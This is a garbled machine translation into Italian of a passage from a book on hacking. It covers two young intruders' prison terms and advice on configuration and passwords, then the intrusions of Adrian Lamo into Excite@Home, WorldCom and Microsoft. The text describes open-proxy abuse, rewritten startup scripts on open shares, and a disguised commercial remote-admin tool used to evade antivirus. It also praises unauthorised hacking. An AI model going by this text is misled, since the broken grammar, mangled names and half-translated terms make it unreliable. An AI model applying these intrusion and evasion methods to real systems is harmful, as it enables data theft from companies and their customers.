Alla fine, i loro sforzi di collusione non ha aiutato. I fatti sono stati impilati alto contro di loro, e questa volta erano di fronte a un giudice che non era andando a consegnare loro un altro schiaffo sul polso. Erano ogni sentenced per servire "un anno e un giorno" in una struttura federale, con il credito per il tempo già scontato nel carcere della contea. Il "giorno" extra di tempo prigionia era di sostanziale beneficio per loro. In base alle leggi federali di condanna, che ha fatto loro diritto a essere rilasciato fino a 54 giorni prima per buona condotta.

Capitolo 4 Cops and Robbers

85

I due sono stati trattenuti senza vincolo per tre mesi e mezzo, poi pubblicato sulla loro stessa garanzia in una serie pesante di restrizioni fino il giudice ha deciso su una frase. Don aveva ragione: non clemenza stavolta.

Tempo Fare

Matt è stato inviato al Sheridan Camp in Oregon, mentre Costa è andato a Boron Federal Prison Camp in California. "E 'stato federale perché lenza lata le nostre condizioni di libertà vigilata con l'accusa federale ", dice Costa.

Tuttavia, questo non era esattamente "periodo difficile" per una di esse. Come Costa ricorda:

Sapevo di avere essa comodi. Questo era un campo di prigionia che aveva un swim-piscina ming. Nel mezzo del deserto del Mojave, che era un pò bello. Noi non ha avuto un recinto, solo una linea gialla nella sabbia. E 'stato uno di questi luoghi che, si sa, avevano tre senatori laggiù. C'era il ragazzo che ha iniziato una famosa catena di ristoranti in là con me.

Boro era l'ultima istituzione federale con una piscina, e Costa sentito successivamente che una storia televisiva Barbara Walters aveva portato nell'essere piscina compilato solo dopo il suo rilascio. Personalmente posso non capisco spending soldi dei contribuenti per mettere in una piscina quando una nuova prigione è essere costruita, ma non riesco a capire distruggere uno già esistente.

Alla prigione Sheridan, Matt ha scoperto un altro detenuto era un ex dirigente di Boeing. "Ha messo nei guai per un certo tipo di appropriazione indebita o il crimine dei colletti bianchi. "E 'sembrato in qualche modo ironico.

Costa e altri detenuti Boron sono stati spesso cacciati mezz'ora attraverso il deserto in un autobus carcere fumante a fare lavori umili nella vicina Edwards Air Force Base. "Mi hanno messo in un hangar militare dove avevano un server VAX. Non ero nemmeno dovuto essere vicino a un computer. "Ha avvertito il sergente. "Gli ho detto la mia storia e lui è come, 'Oh, andare avanti.'" Costa non ha perso tempo acquisire familiarità con il computer militari. "Ero salire sul IRC ogni giorno e chiacchierando mentre stavo rinchiuso. Io fu il download Doom ad alta velocità. E 'stato incredibile, fantastico! "

A un certo punto Costa è stato assegnato per pulire un annuncio comunicazioni van pieno di elettronica sensibile. "Non potevo credere che erano letting a fare questo. "

A un certo livello, il loro tempo prigione suona come un'allodola, quasi uno scherzo. Non è stato. Ogni mese hanno trascorso all'interno era un mese di vita sprecata, un mese di educazione perso, un mese di distanza da parte di persone hanno curato circa e voluto essere con. Ogni mattina un prigioniero inizia la sua giornata chiedendosi se oggi porterà a pugni per difendere se stesso o la sua proprietà. Jail e carcere può essere terrificante.

L'arte dell'intrusione

86

Quello che stanno facendo oggi

Un decennio dopo che sono stati rilasciati, entrambi sembrano essere sistemati in più trazionale vive. Matt sta attualmente lavorando per una grande azienda di San Jose come sviluppatore di applicazioni Java. Costa ha la propria compagnia e suoni piuttosto trafficata, "la creazione di sistemi di sorveglianza digitali e audio distribuita clienti (slimdevices) per le imprese. "Ha trovato lavoro che è bene adatto per; persone annoiato con i loro posti di lavoro sarebbero invidioso che egli è, egli dice, "godendo ogni minuto."

Io

Nsight

Sembra incredibile nel mondo di oggi che gli hacker ancora trovano così facile passeggiare in tanti siti web aziendali. Con tutte le storie di effrazioni, con tutta la preoccupazione per la sicurezza, con dedicato, sicurezza professionale persone per il personale o di consulenza per le aziende grandi e piccole, è scioccante che questa coppia di adolescenti erano abbastanza abile a trovare la loro strada nel

i computer di una corte federale, una grande catena di hotel, e Boeing Aircraft. Parte del motivo per cui questo accade, credo, è che molti hacker seguono un percorso come ho fatto io, spendendo una quantità eccessiva di tempo conoscere sistemi informatici, software del sistema operativo, programmi applicativi, rete, e così via. Essi sono in gran parte autodidatta, ma anche gli uomini in parte sbranati in un tutoraggio informale ma altamente efficace "condividere la conoscenza" disposizione. Alcuni malapena di medie hanno messo in abbastanza tempo e acquisito conoscenze sufficienti nel campo che si qualificano per il Bachelor of Science in Hacking gradi. Se MIT o Cal Tech rilasciato un tale grado, So che un bel po 'vorrei candidare per sostenere l'esame di laurea.

Nessuna meraviglia che molti consulenti di sicurezza hanno un passato segreto come un black-hat Hacker (tra cui più di una coppia il cui appaiono in queste pagine storie).

Compromettere sistemi di sicurezza richiede un particolare tipo di mentalità che può penseroso di analizzare come causare la sicurezza di sicuro. Chiunque cercando per entrare nel campo strettamente sulla base di apprendimento in classe richiederebbe un sacco di esperienza pratica, dal momento che lui o lei sarebbe in competizione con consulenti che hanno iniziato la loro formazione in materia all'età di 8 o 10.

Può essere doloroso ammetterlo, ma la verità è che tutti nella sicurezza campo ha molto da imparare dagli hacker, che possono rivelare la debolezza del sistema in modi che sono imbarazzanti per riconoscere e costoso per affrontare. Essi possono violare la legge nel processo, ma eseguire un Ser- prezioso ghiaccio. In realtà, molti di sicurezza "professionisti" sono stati gli hacker in passato. Alcuni leggere questo e metterlo giù di Kevin Mitnick, il one-time hacker, semplicemente difendendo l'attuale generazione di hacker. Ma la verità è che molti attacchi degli hacker hanno lo scopo di esporre prezioso debolezza nesses in sicurezza di una società. Se l'hacker non ha causato alcun danno,

Capitolo 4 Cops and Robbers

87

commesso un furto, o lanciato un attacco denial-of-service, ha il com-azienda soffriva l'attacco, o beneficiato essendo fatta di affrontare loro vulnerabilità?

C

OUNTERMEASURES

Garantire la gestione della configurazione corretta è un processo critico che non dovrebbe essere ignorato. Anche se si configura correttamente tutto l'hardware e software al momento dell'installazione e si mantiene up-to-date su tutte essen-patch di sicurezza ziali, configurazione impropriamente solo un singolo elemento in grado di creare una crepa nel muro. Ogni organizzazione dovrebbe avere un dura stabilita

Dure per garantire che il personale IT che installano nuovo hardware e software, telecomunicazioni e personale che installano i servizi telefonici, sono accuratamente addestrati e regolarmente ricordato, se non testato, per rendere cer-sicurezza Tain è radicata nel loro pensiero e comportamento.

A rischio di sembrare - qui e altrove - come se noi stiamo promuovendo il nostro libro precedente, *The Art of Deception* (Wiley Publishing, Inc., 2002) pro-VIDES un piano per la formazione dei dipendenti di sensibilizzazione di sicurezza informatica.

Sistemi

e dispositivi di sicurezza devono essere testati prima di essere messo in produzione. Sono fermamente convinto che contando solo su password statiche dovrebbe essere un pra-Tice del passato. Una forma più forte di autenticazione di sicurezza, utilizzando alcuni

tipo di dispositivo fisico, come a tempo simbolico o un biometrico affidabile, dovrebbe essere utilizzato in combinazione con una password personale - *cambiato spesso* - per proteggere i sistemi che trattano e memorizzano preziose informazioni. Utilizzando una forma più forte di autenticazione non garantisce che non può essere violato, ma almeno alza la barra.

Le organizzazioni che continuano a utilizzare le password statiche solo bisogno di promemoria o incentivi che incoraggino la formazione vide e frequenti pratiche di password sicure. Politica di password efficace richiede agli utenti di construct password sicure contenenti almeno una cifra e un simbolo o carattere misto-case, e di cambiare periodicamente.

Un ulteriore passo necessario rendere certo che i dipendenti non sono di catering per "Memoria pigro" scrivendo la password e la pubblicazione sul loro Monitor o nascondere sotto la tastiera o in un cassetto della scrivania - pone alcuni rischi nazionali ladro di dati sa guardare prima. Inoltre, la pratica buona password richiede non utilizzando la stessa o simile password su più di un sistema.

T

HE

B

OTTOM

L

INE

Facciamo svegliarsi, persone. Modifica delle impostazioni di default e con forte password parole potrebbero fermare il vostro business di essere vittime.

L'arte dell'intrusione

88

Ma questo non è solo utente stupidità. I produttori di software non hanno fatto la sicurezza una priorità maggiore rispetto interoperabilità e funzionalità. Certo, hanno messo le linee guida attente nelle guide per l'utente e le istruzioni di montaggio. C'è un vecchio detto che va di ingegneria, "Quando tutto il resto fallisce, leggere le istruzioni. "Ovviamente, non hai bisogno di una laurea in ingegneria a seguire così male regola.

Sarebbe ora che i produttori hanno cominciato ottenere saggi a questa perenne problema. Che ne dite di produttori di hardware e software a partire da riconoscono che la maggior parte delle persone non leggono la documentazione? Come su fornendo un messaggio di avviso relativo attivare la sicurezza o la modifica le impostazioni di sicurezza predefinite che si apre quando l'utente è l'installazione del prodotto? Ancora meglio, come di fare così la sicurezza è abilitato default? Microsoft ha fatto di recente - ma non fino alla fine del 2004, in l'aggiornamento di sicurezza per Windows XP Professional e Home Edition con la loro versione di "Service Pack 2", in cui il firewall integrato è attivata per impostazione predefinita. Perché ci vuole così tanto tempo? Microsoft e altro sistema operativo produce dovrebbe avere pensato questo anni fa. Un semplice cambiamento come questo in tutta la industria potrebbe fare il cyberspazio un po' più sicuro per tutti noi.

Capitolo 4 Cops and Robbers

89

91

Capitolo 5**L'Hacker Robin Hood**

[Hacking] è sempre stato per me meno sulla tecnologia e di più la religione.

- Adrian Lamo

H

ACKing è un'abilità. Chiunque può acquisire questa abilità tramite auto-educazione. A mio parere personale, l'hacking è un'arte creativa - capire il modo di aggirare la sicurezza in modi intelligenti, basta come scasso appassionati cercano di aggirare i meccanismi di bloccaggio per il valore di intrattenimento puro. Gli individui possono incidere senza rompersi la legge.

La differenza sta se il proprietario ha dato il permesso alla hacker per tentare di infiltrarsi sistemi informatici del proprietario. Ci sono molti modi le persone possono incidere, anche se con il permesso della "vittima". Alcuni scientemente violare la legge, ma non sono mai catturati. Alcuni corrono il rischio e servire il carcere. Praticamente tutti nascondono le loro identità dietro un moniker - la versione online di un soprannome.

Poi ci sono i pochi come Adrian Lamo, che incidere senza mascheramento la loro identità e quando trovano una falla nella sicurezza di qualche organizzazione, dire loro su di esso. Questi sono il Robin Hood di hacking. Dovrebbero non essere incarcerato, ma celebrato. Aiutano le aziende svegliano prima un hacker del tipo maligno fa il danno grave società.

L'elenco delle organizzazioni che il governo federale dice Adrian Lamo ha violato in è, a dir poco, impressionante. Esso include Microsoft, Yahoo !, MCI WorldCom, Excite @ Home, e le compagnie telefoniche SBC, Ameritech, e Cingular.

1

E il venerabile *New York Times* .

Va bene, sì, Adrian ha soldi compagnie di costo, ma non così tanto soldi come i pubblici ministeri ha sostenuto.

Salvataggio

Adrian Lamo non era una tipica "facciamo appendere fuori al centro commerciale" tipo di adolescente.

Una notte, per esempio, lui e gli amici sono stati esplorando un grande abandoned complesso industriale situato su alcune banche del fiume. Senza particolare ordine del giorno in mente, hanno vagato attraverso un vasto impianto decrepito e rapidamente si perse. Erano circa le due del mattino prima di trovare la loro strada fuori dal labirinto. Mentre attraversavano una linea ferroviaria defunto accanto tomba-pietre di macchinari industriali ruggine, Adrian sentirono deboli grida. Anche se i suoi amici volevano solo per uscire da lì, la curiosità di Adrian è stato suscitato. Seguendo il suono lamentoso lo ha portato ad un tombino sporco. Il luce debole era sufficiente solo per vedere nei suoi recessi oscuri, dove un minuscolo Kit-dieci è stato intrappolato in fondo, miagolando per tutto il suo valore.

Adrian chiesto assistenza elenco sul suo telefono cellulare per il numero di il dipartimento di polizia. Proprio allora riflettori di un incrociatore della polizia accecato la gruppo.

I ragazzi erano vestiti in quello che Adrian descrive come "esplorazione urbana gear - sapete, guanti e sporco over-abiti. Non il tipo di abbigliamento che ispira fiducia e buona volontà con le forze dell'ordine. "Adrian anche ritiene che da adolescente, ha guardato un po' sospettoso, e "Potremmo o non può aver avuto su di noi cose che potrebbero hanno causato l'arresto ", ha dice. Opzioni correvano nella testa di Adrian; potevano sottoporsi a un lungo serie di domande e possibile arresto, eseguire, o ... un piano venne a lui.

Li ho lanciati giù e dissi: "Ehi, c'è questo gattino nel tombino. Potrei certo usare il vostro aiuto. "Fast Forward due ore più tardi, nessuno di noi è stato cercato - le circostanze sospette dimenticato.

Due auto della polizia e un veicolo di controllo degli animali in seguito, il bedrag-Gled gattino stato sollevato per la sicurezza in una rete al termine di un lungo bastone. Il la polizia ha dato il gattino di Adrian, che lo portò a casa, ripulito tutto, e chiamò "Alibi." I suoi amici la chiamavano "Drano."

Più tardi, Adrian riflette sull'incontro. Come qualcuno che non lo fa credere in un caso, è certo che tutti erano stati esattamente dove dovevano essere al momento. Egli vede la sua "quasi trascendente" computer presenta allo stesso modo: non ci sono incidenti.

E 'interessante il fatto che Adrian vede anche la prova gattino come un parallelo ciò che gli hacker fanno. Parole come "adattarsi", "improvvisare" e "intuizione" arrivano L'arte dell'intrusione

92

a mente, tutti gli ingredienti fondamentali per negoziare con successo le numerose trappole e vicoli ciechi in agguato nelle strade e vicoli posteriori del Web.

Roots

Nato a Boston, Adrian trascorso gran parte della sua infanzia muoversi New Inghilterra prima che la famiglia si stabilì a Washington, DC. Il padre, originario Colombiano, scrive racconti per bambini e lo fa spagnolo tradu- / Inglese zioni; Adrian lui un filosofo naturale nato considera. Sua madre insegnato inglese ma ora gestisce la casa. "Hanno usato per portarmi a raduni politici quando ero un ragazzino. Mi hanno sollevato a mettere in discussione quello che vedere intorno a me e cercato di allargare i miei orizzonti ".

Adrian non si sente che si inserisce un profilo demografico specifico, anche se che vede la maggior parte hacker come cadere in ciò che egli chiama "bianco-pane a medio classe ". Una volta ho avuto l'onore di incontrare i genitori e sentito da loro che uno dei motivi per il loro figlio si è coinvolti in l'hacking era perché lui avuto diversi hacker preferiti che lo hanno ispirato. Non è stato menzionato, ma Ho l'impressione di Adrian che uno di quegli individui potrebbero avere me stato. I suoi genitori, probabilmente volevano estorcere il mio collo.

All'età di sette anni, Adrian ha cominciato a scherzare sul computer di suo padre, un Commodore 64. Un giorno è diventato frustrato con un'avventura testo gioco stava cercando di giocare. Ogni opzione sembrava portare ad un vicolo cieco. Ha scoperto che durante il caricamento di un programma sul computer, e prima eseguire il comando Esegui, c'era un modo che potesse istruire il computer per generare un elenco di codice sorgente del gioco. L'elenco ha rivelato le risposte che cercava e lui prontamente ha vinto la partita.

E 'ben noto che la prima un bambino comincia a imparare una lingua straniera, il più naturalmente lui o lei acquista esso. Adrian pensa lo stesso vale

di iniziare presto su un computer. Egli teorizza la ragione può essere che il cervello deve ancora diventare "cablata", con la rete neurale più malleabile, più veloce per acquisire e accogliere, di quello che sarà in età adulta. Adrian è cresciuto immerso nel mondo dei computer, vederli come estensione della realtà e quindi facilmente manipolabile. Per lui un computer non era qualcosa di una lettura su o versato sopra lungo manualmente per capire. Non era un dispositivo esterno, come un frigorifero o un auto, ma una finestra - in se stesso. Decise che organicamente informazioni elaborate il modo in cui un computer e dei suoi programmi interni fanno.

Midnight Incontri

Tra i sistemi informatici aziendali Adrian ha inciso nel, considera Excite @ Home sua ultima esperienza di "cappa e spada". L'epica iniziato per un capriccio, quando qualcuno gli suggerì controllare ilHome

Capitolo 5 The Hacker Robin Hood

93

site. Come la stanza di compensazione per tutti i servizi Internet via cavo in Italia Uniti, Adrian era sicuro che era ben protetto e non varrebbe la pena il suo tempo. Ma se avesse potuto incidere con successo in, egli avrebbe avuto accesso a chiave informazioni su ogni utente cavo nel paese.

Gli hacker stanno scoprendo in questi giorni che Google può essere sorprendentemente helpful per scoprire possibili obiettivi di attacco e di rivelare informazioni utili su di loro. Adrian prende il via un sacco di sue incursioni di hacking da googling un set di parole chiave che spesso portano a siti con qualche difetto nella loro configurazione. Così ha inserito il suo computer portatile a una presa di rete aperta nello studente salone di una università di Philadelphia e chiamato il Web Excite @ Home pagina. La sala studenti era una specie familiare di impostazione per lui: Qualsiasi Localizzazione utilizzato da un sacco di persone, o un chiosco pubblico di Internet, oppure un wireless aperta Punto di accesso - di collegamento online da luoghi come questi fornisce un facile, modo efficace per un hacker per mascherare la sua posizione. Scoprire il vera identità di qualcuno che utilizza in modo casuale i punti di accesso pubblici a Internet è estremamente difficile.

Mentalità di Adrian è quello di ottenere nei processi di pensiero della persona che progettato il programma o la rete che sta attaccando, usando la sua conoscenza della i modelli e le pratiche standard che gli architetti di rete comunemente usano come la sua stampella iniziale. Lui è abbastanza abile a sfruttare procura mal configurato Server - Sistemi informatici dedicati che passano il traffico tra l'interreti "non attendibili" come la rete Internet nazionale e. Il proxy esamina ogni richiesta di connessione in base alle regole che è stato dato.

Quando un amministratore di rete pasticci il compito di configurare il com- i server proxy di aziendali, chiunque può collegarsi al proxy possono essere in grado a tunnel fino alla rete interna apparentemente sicura della società.

Per un hacker, un tale proxy aperto è un invito a Mayhem perché gli permette di apparire come se avesse origine richieste come qualsiasi legittima società dipendente: dall'interno propria rete aziendale.

Da quella sala studenti universitari, Adrian scoprì un misconfigurato procura che ha aperto la porta alle pagine Web interne per vari dipartimenti di Excite @ Home. Nella sezione Guida di uno, ha pubblicato una domanda sulla registrazione problemi. La risposta che è tornato foro l'indirizzo URL di una piccola parte del sistema progettato per facilitare resolv-

ing problemi IT. Analizzando questo URL, è stato in grado di accedere ad altri divisione sioni della società che ha utilizzato la stessa tecnologia. Non è stato chiesto per l'autenticazione: Il sistema era stato progettato sul presupposto che chi sapeva per richiamare indirizzi a queste parti del mosto sito Web essere un dipendente o altra persona autorizzata - una premessa così traballante wide diffuso che ha un soprannome, "sicurezza attraverso l'oscurità."

Per il prossimo passo, ha visitato un sito popolare con esploratori cyberspazio, Netcraft.com. Adrian è entrato a caso i nomi di dominio parziali, come ad esempio L'arte dell'intrusione

94

Netcraft ha restituito un elenco di Excite @ server interni, mostrando loro come Solaris macchine in esecuzione il software del server Web Apache.

Come esplorato Adrian, ha scoperto che la rete aziendale operazione Centro le ha offerto un sistema di supporto tecnico accettati autorizzato dipendenti di leggere i dettagli dei clienti che richiedono assistenza - "Aiuto! Io non possono accedere al mio account ", o qualsiasi altra cosa. Il lavoratore a volte chiedere al cliente di fornire il proprio nome utente e password - sicuro abbastanza perché questo era tutto dietro il firewall aziendale; informazioni dovrebbe essere incluso nella risoluzione dei problemi.

Che Adrian trovò fu, dice, "aprire gli occhi". I tesori Biglietti inclusa quella contenevano login e password per depositaria tomers, dettagli sul processo di trattamento trouble ticket, e com-denunce da parte degli utenti interni su problemi informatici erano stati avendo. Ha anche trovato uno script per la generazione di un "cookie di autenticazione" che permetterebbe un tecnico di autenticarsi come qualsiasi titolare del conto, a risolvere un problema senza richiedere la password del cliente.

Una nota su un biglietto attirò l'attenzione di Adrian. Essa ha mostrato il caso di un cliente che più di un anno prima aveva chiesto aiuto con riferimento mento alle informazioni personali, compresi i numeri di carte di credito rubate, da qualcuno su un servizio di Internet Relay Chat. La nota interna ha dichiarato che i "tecnici" (tecnici) ha deciso che non era il loro problema e non ha briga di rispondere. In sostanza soffiò il povero ragazzo fuori. Fingendosi un tecnico dell'azienda, Adrian chiamò l'uomo a casa e disse: "Ehi, io sono in realtà non dovrei lavorare questo biglietto, ma ero curioso di sapere se avete mai ha ottenuto una risposta da noi ". L'uomo ha detto che non aveva mai sentito una sola parola.

Adrian prontamente lo ha trasmesso la risposta corretta e tutto il interno documentazione e discussione per quanto riguarda il suo biglietto irrisolto.

Ho avuto un senso di soddisfazione per quello, perché io voglio credere in un universo in cui qualcosa di così improbabile come avere il vostro banca dati rubati da qualcuno su Internet Relay Chat può essere ha spiegato un anno dopo da un intruso che ha compromesso la azienda che prima di fiducia per aiutarvi.

In questo periodo, il proxy aperto che gli aveva dato accesso fermato lavoro. Non era sicuro perché, ma non poteva più entrare. Ha iniziato in cerca di un altro modo. L'approccio è venuto con era, nel suo parole, "totalmente nuovi."

Il suo primo punto d'appoggio è venuto dal fare ciò che è chiamato un *reverse DNS lookup* - utilizzando un indirizzo IP per scoprire corrispondente hostname. (Se si immette una richiesta nel browser per accedere al sito per www.defensivethinking.com).

com, la richiesta va in un Domain Name Server (DNS), che si traduce il nome in un indirizzo che può essere utilizzato su Internet per instradare il

Capitolo 5 The Hacker Robin Hood

95

richiesta, in questo caso 209.151.246.5. La tattica Adrian stava usando rovesci questo processo: L'attaccante entra in un indirizzo IP e viene fornito il nome di dominio del dispositivo che l'indirizzo appartiene a.)

Aveva molti indirizzi di passare attraverso, la maggior parte dei quali forniti niente di interesse. Alla fine, però, ha trovato uno con un nome nella forma di dialup00.corp.home.net, e molti altri che iniziò anche "dialup".

Ha assunto questi host sono stati utilizzati dai dipendenti in viaggio, per la selezione alla rete aziendale.

Scoprì presto che questi numeri dial-up sono stati utilizzati da dipendenti ancora lavorando su computer con versioni precedenti del OPERATE sistema - versioni antiche come Windows 98. E molti del dial-up gli utenti avevano *condivisioni aperte*, che ha permesso l'accesso remoto ad alcuni directory o l'intero disco rigido, senza la password di lettura o scrittura.

Adrian si rese conto che avrebbe potuto apportare modifiche al sistema operativo script di avvio per la copia dei file alle azioni, in modo che sarebbe eseguire comandi di sua scelta. Dopo aver scritto più di particolari file di avvio con la propria versione, sapeva che avrebbe dovuto aspettare fino a quando il sistema è stato riavviato prima i suoi ordini sarebbero stati giustiziati. Ma Adrian sa essere paziente.

La pazienza alla fine ha pagato, e Adrian passò alla fase successiva:

l'installazione di un Trojan di accesso remoto (un "RAT"). Ma per fare questo, non lo fa raggiungere per qualsiasi dei Troiani di hacker-sviluppato comunemente disponibili, la tipo altri intrusi utilizzano per scopi dannosi. I programmi antivirus, in modo molto popolare in questi giorni, sono progettati per riconoscere backdoor comune e programmi Trojan, e mettere in quarantena immediatamente. Come un modo per aggirare questo, Adrian trova uno strumento legittimo progettato per l'utilizzo da parte della rete e l'impianto. Gli amministratori di tem - commerciale software remoto di amministrazione, quale modifica leggermente quindi è invisibile all'utente.

Mentre i prodotti antivirus cercano i tipi di software di accesso remoto conosciuto per essere utilizzato con la metropolitana hacker, essi non cercano software di accesso remoto sviluppato da altri COMPA - software commerciale Nies, sul presupposto che questi prodotti vengono utilizzati legittimamente (E anche, suppongo, perché l'azienda Developer software X potrebbe causa se il software antivirus considerato il suo prodotto come dannoso e bloccato esso). Personalmente credo che questo sia una cattiva idea; i prodotti antivirus dovrebbero avverte l'utente *ogni* prodotto che potrebbero essere utilizzati maliziosamente e lasciare che il all'utente di decidere se è stato legittimamente installato. Approfittando di questa scappatoia, Adrian è spesso in grado di installare RAT "legittimi" che sovvertono l'individuazione di programmi antivirus.

Una volta che aveva installato la RAT sulHome dipendente del informatica, eseguì una serie di comandi che gli ha fornito informazioni sulle connessioni di rete attive ad altri sistemi informatici. Uno di questi comandi, "netstat," gli mostrò l'attività di rete di un dipendente che era in quel momento attualmente collegato alHome

L'arte dell'intrusione

96

intranet per dial-in, e rivelate sistemi quali computer nel interna rete aziendale la persona stava usando in quel momento.

Al fine di mostrare un campione dei dati restituiti da netstat, ho eseguito il program per esaminare il funzionamento della mia macchina; in parte, l'uscita lista si presentava così:

```
C: \ Documents and Settings \ ospite> netstat -a
Connessioni attive
Proto Indirizzo locale Indirizzo esterno
Stato
TCP lockpicker: 1411 64.12.26.50:5190
ISTITUITO
TCP lockpicker: 2842 catlow.cybervers.com:22
ISTITUITO
TCP lockpicker: 2982 www.kevinmitnick.com:http
ISTITUITO
```

Il "Local Address" riporta il nome della macchina locale ("lockpicker" era al momento il nome che stavo usando per il mio computer) e il numero di porta tale macchina. Il "Indirizzo esterno" indica il nome host o IP il computer remoto, e il numero della porta a cui la connessione è stata fatta. Ad esempio, la prima riga del rapporto indica che il computer ha stabilito una connessione a 64.12.26.50 sulla porta 5190, la porta comunemente usato per AOL Instant Messenger. "Stato" indica lo stato della Collegamento - "stabilito" se la connessione è attiva, "Ascolto" se la macchina locale è in attesa di una connessione in entrata. La riga successiva, compresa la voce "catlow.cybervers.com," fornisce il nome host del sistema informatico che ero collegato a. Sul ultima riga, la voce "www.kevinmitnick.com:http" indica che ero attivamente collegato al mio sito web personale.

Il proprietario del computer di destinazione, non è necessario per eseguire i servizi sulle porte comunemente noti, ma può configurare il computer per l'utilizzo non porte standard. Ad esempio, HTTP (server Web) è di solito eseguito su porta 80, ma il proprietario può cambiare la situazione di eseguire un server Web su qualunque porta lui o lei sceglie. Elencando le connessioni TCP dei dipendenti, Adrian ha scoperto che Home dipendenti sono stati di connessione ai server Web su porte non standard.

Da informazioni di questo tipo, Adrian è stato in grado di ottenere gli indirizzi IP per macchine interne da esplorare per sensibili Home mazioni aziendali. Tra le altre gemme, ha trovato un database di nomi, e-mail indirizzi, numeri di serie di modem via cavo, gli indirizzi IP attuali, anche quello computer di sistema operativo del cliente è stato segnalato come in esecuzione, per ciascuno di circa 3 milioni di abbonati a banda larga della società.

Capitolo 5 The Hacker Robin Hood

97

Questo era "un tipo esotico di attacco" nella descrizione di Adrian, perché ha coinvolto dirottamento di un collegamento da una selezione dei dipendenti fuori sede in la rete.

Adrian considera un processo abbastanza semplice per essere attendibile da una rete. La parte difficile - che ha preso un mese di tentativi ed errori - era com-

accumulando una mappa dettagliata della rete: ciò tutte le diverse parti sono, e come si riferiscono l'uno all'altro.

L'ingegnere di rete di piombo per Excite @ Home è stato un uomo Adrian aveva alimentato informazioni in passato e sentito ci si poteva fidare. Deviando dalla il suo schema abituale di utilizzare un intermediario per passare informazioni ad un com- società che aveva penetrato, ha chiamato l'ingegnere direttamente e ha spiegato che aveva scoperto alcune debolezze critiche nella rete aziendale. Il ingegnere accettato di incontrare, nonostante l'ora tarda che Adrian proposto. Si sedettero insieme a mezzanotte.

"Gli ho mostrato alcuni dei documenti che avevo accumulato. Chiamò il loro ragazzo di sicurezza e lo abbiamo incontrato al [Excite @ Home] campus intorno alle 4:30 del mattino. "I due uomini passarono ma- di Adrian als e lo interrogò su esattamente come si era rotto in. Verso le sei al mattino, quando sono stati finendo, Adrian ha detto che gli piacerebbe vedere il server proxy effettivo che era stato quello che aveva usato per ottenere l'accesso. *Abbiamo rintracciato giù. E mi hanno detto, "Come ti sicuro questa macchina? "*

Adrian sapeva già il server non è stato utilizzato per qualsiasi funzione cruciale zione, che era solo un sistema casuale.

Ho tirato fuori il mio coltellino, uno di quelli sgargianti poco con una sola mano apriscatole. E ho appena andato avanti e tagliare il cavo e disse: "Ora la macchina è sicura. "

Hanno detto: "Questo è abbastanza buono." L'ingegnere ha scritto una nota e incollato alla macchina. La nota ha detto, "Non riattaccare".

Adrian aveva scoperto accesso a questa grande azienda come risultato di una singola macchina che era probabilmente da tempo cessato di avere una funzione necessaria, ma nessuno aveva mai notato o preoccupato di rimuoverlo dalla rete. "Qualsiasi società, "Adrian dice," avrà solo tonnellate di macchine seduti attorno, ancora collegato ma non in uso. "Ognuno è un potenziale di break-in.

MCI WorldCom

Come lui ha con tante altre reti prima, era ancora una volta da attaccando i server proxy che Adrian trovato le chiavi di WorldCom

L'arte dell'intrusione

98

regno. Ha iniziato la ricerca utilizzando il suo strumento preferito per navigare computer, un programma chiamato ProxyHunter, che individua i server proxy aperti. Con quello strumento che va dal suo computer portatile, ha scansionato corporate di WorldCom tasso di spazio di indirizzi Internet, identificando rapidamente cinque proxy aperti - un nascosto in bella vista in un URL che termina con wcom.com. Da lì, solo bisogno di configurare il suo browser per utilizzare una delle deleghe e lui potrebbe navigare rete privata di WorldCom stessa facilità con cui qualsiasi dipendente. Una volta dentro, ha trovato altri livelli di sicurezza, con le password richieste per l'accesso a numerose pagine Web Intranet. Alcune persone, sono sicuro, troverà è sorprendente come paziente un attaccante come Adrian è disposto ad essere, e come molte ore che sono disposti a dedicare nello sforzo determinato a conquer. Due mesi dopo, Adrian finalmente ha cominciato a farsi strada. Aveva ottenuto l'accesso al sistema di risorse umane di WorldCom, dando lui nomi e corrispondenti numeri di previdenza sociale per tutti della società 86.000 dipendenti. Con queste informazioni e la data di nascita di una persona (lui

giura per anybirthday.com), ha avuto la possibilità di reimpostare un dipendente del password e di accedere ai libri paga, comprese le informazioni come stipendio e di emergenza contatti. Poteva anche aver modificato la diretta istruzioni di deposito bancari, stipendi deviando per molti dipendenti a proprio conto. Egli non fu tentato, ma ha osservato che "un sacco di gente sarebbe disposto a soffiare città per un paio di centinaia di migliaia di dollari. "

All'interno Microsoft

Al momento della nostra intervista, Adrian era in attesa di condanna su una varietà delle spese per computer; aveva una storia da raccontare un episodio che non aveva stato accusato di, ma che è stato comunque incluso nelle informazioni rilasciato dal procuratore federale. Non volendo eventuali oneri aggiuntivi a quelli già sulla lista del pubblico ministero, si sentì in dovere di essere prudenti in raccontandoci una storia di Microsoft. Tongue saldamente in guancia, ha spiegato: *Posso dirvi ciò che è stato affermato. È stato affermato che non vi è stato un pagina web che ho scoperto che avrebbe presumibilmente richiesto alcun autenticazione, ha avuto alcuna indicazione che [le informazioni erano] proprietaria, aveva assolutamente nulla, tranne per un menu di ricerca.* Anche il re di aziende di software non sempre ottiene il suo calcolatore diritto di garanzia.

L'immissione di un nome, Adrian "presumibilmente" rese conto che aveva i dettagli di un ordine online del cliente. Il governo, dice Adrian, ha descritto il sito come la memorizzazione di acquisto e informazioni di spedizione su tutti quelli che aveva mai ordinato un prodotto online dal sito Web di Microsoft, e anche contenitori ing voci sugli ordini in cui era stato rifiutato le carte di credito. Tutto questo

Capitolo 5 The Hacker Robin Hood

99

sarebbe imbarazzante se le informazioni mai rese disponibili sario tuttora al di fuori della società.

Adrian ha dato i dettagli della violazione della sicurezza di Microsoft a un giornalista che fiducia al *Washington Post*, il suo solito condizione che nulla avrebbe pubblicato fino a quando la violazione era stato corretto. Il giornalista riferì i dettagli a Microsoft, dove la gente non ha apprezzato l'apprendimento del break-in. "Microsoft in realtà voleva sporgere denuncia," Adrian dice. "Ci hanno fornito un grande danno figura -. Una fattura per 100.000 dollari" Qualcuno alla società può poi aver avuto ripensamenti sulla materia. Adrian è stato successivamente detto che Microsoft aveva "perso la fattura." L'accusa del break-in è rimasta una parte del disco, ma senza importo in dollari collegato. (A giudicare dal giornale di archivi online, i redattori del *post* non consideravano l'incidente di essere notizia, nonostante Microsoft sia il bersaglio e, nonostante il ruolo di uno dei loro giornalisti in questa storia. Che ti fa chiedere.)

Un eroe ma non un santo:

Il New York Times Hack

